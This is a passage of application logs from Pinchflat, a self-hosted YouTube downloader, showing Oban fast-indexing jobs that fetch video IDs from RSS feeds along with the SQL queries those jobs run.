"GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:31:08.884 [debug] QUERY OK source="media_items" db=1.8ms idle=29.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:31:08.885 [debug] QUERY OK source="tasks" db=0.0ms idle=31.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [638, 3, ~U[2026-07-24 12:31:08Z], ~U[2026-07-24 12:31:08Z]] 12:31:08.885 [info] {"args":{"id":3},"id":635,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32571,"event":"job:stop","queue_time":630396,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:31:26.669 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:56.670 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.486 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:26.671 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:56.672 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.487 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:26.673 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:56.674 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.488 [info] {"source":"oban","duration":128,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:26.675 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:56.676 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.489 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:26.677 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:56.678 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.490 [info] {"source":"oban","duration":117,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:26.679 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:56.680 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.491 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:26.681 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:56.682 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.492 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:26.684 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:56.685 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.493 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:26.686 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:56.687 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.495 [info] {"source":"oban","duration":821,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:26.688 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:39.471 [info] {"args":{"id":2},"id":636,"meta":{},"system_time":1784896839471210748,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:40:39.471 [debug] QUERY OK source="sources" db=0.1ms idle=892.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:40:39.471 [debug] QUERY OK source="settings" db=0.0ms idle=892.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:40:39.472 [debug] QUERY OK source="media_profiles" db=0.0ms idle=893.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:40:39.472 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:40:39.472 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:40:39.719 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:40:39.719 [debug] QUERY OK source="media_items" db=0.2ms idle=248.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:40:39.720 [debug] QUERY OK source="media_items" db=0.2ms idle=248.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:40:39.720 [debug] QUERY OK source="tasks" db=0.0ms idle=248.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [639, 2, ~U[2026-07-24 12:40:39Z], ~U[2026-07-24 12:40:39Z]] 12:40:39.720 [info] {"args":{"id":2},"id":636,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249473,"event":"job:stop","queue_time":383431,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:40:54.489 [info] {"args":{"id":1},"id":637,"meta":{},"system_time":1784896854489556605,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:40:54.490 [debug] QUERY OK source="sources" db=0.1ms idle=911.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:40:54.490 [debug] QUERY OK source="settings" db=0.0ms idle=911.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:40:54.490 [debug] QUERY OK source="media_profiles" db=0.0ms idle=911.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:40:54.490 [debug] QUERY OK source="settings" db=0.0ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:40:54.490 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:40:54.680 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:40:54.681 [debug] QUERY OK source="media_items" db=0.2ms idle=191.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:40:54.683 [debug] QUERY OK source="media_items" db=2.0ms idle=191.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:40:54.684 [debug] QUERY OK source="tasks" db=0.0ms idle=193.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [640, 1, ~U[2026-07-24 12:40:54Z], ~U[2026-07-24 12:40:54Z]] 12:40:54.684 [info] {"args":{"id":1},"id":637,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194907,"event":"job:stop","queue_time":459861,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:40:56.689 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.496 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:09.504 [info] {"args":{"id":3},"id":638,"meta":{},"system_time":1784896869504355466,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:41:09.504 [debug] QUERY OK source="sources" db=0.1ms idle=925.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:41:09.504 [debug] QUERY OK source="settings" db=0.1ms idle=926.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:41:09.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=926.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:41:09.505 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:41:09.505 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:41:09.686 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:41:09.686 [debug] QUERY OK source="media_items" db=0.2ms idle=181.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:41:09.688 [debug] QUERY OK source="media_items" db=1.7ms idle=181.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:41:09.689 [debug] QUERY OK source="tasks" db=0.0ms idle=183.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [641, 3, ~U[2026-07-24 12:41:09Z], ~U[2026-07-24 12:41:09Z]] 12:41:09.689 [info] {"args":{"id":3},"id":638,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":184973,"event":"job:stop","queue_time":618749,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:41:26.690 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:56.691 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.497 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:26.692 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:56.693 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.498 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:26.694 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:56.695 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.499 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:26.696 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:42.436 [info] GET /sources 12:44:42.436 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 12:44:42.437 [debug] QUERY OK source="settings" db=0.0ms idle=1855.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:42.437 [debug] QUERY OK source="settings" db=0.0ms idle=1855.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:42.437 [debug] QUERY OK source="settings" db=0.0ms idle=1714.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:42.438 [debug] QUERY OK source="settings" db=0.0ms idle=856.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:42.438 [debug] QUERY OK source="settings" db=0.0ms idle=713.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:42.442 [debug] QUERY OK source="sources" db=4.3ms idle=1.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' 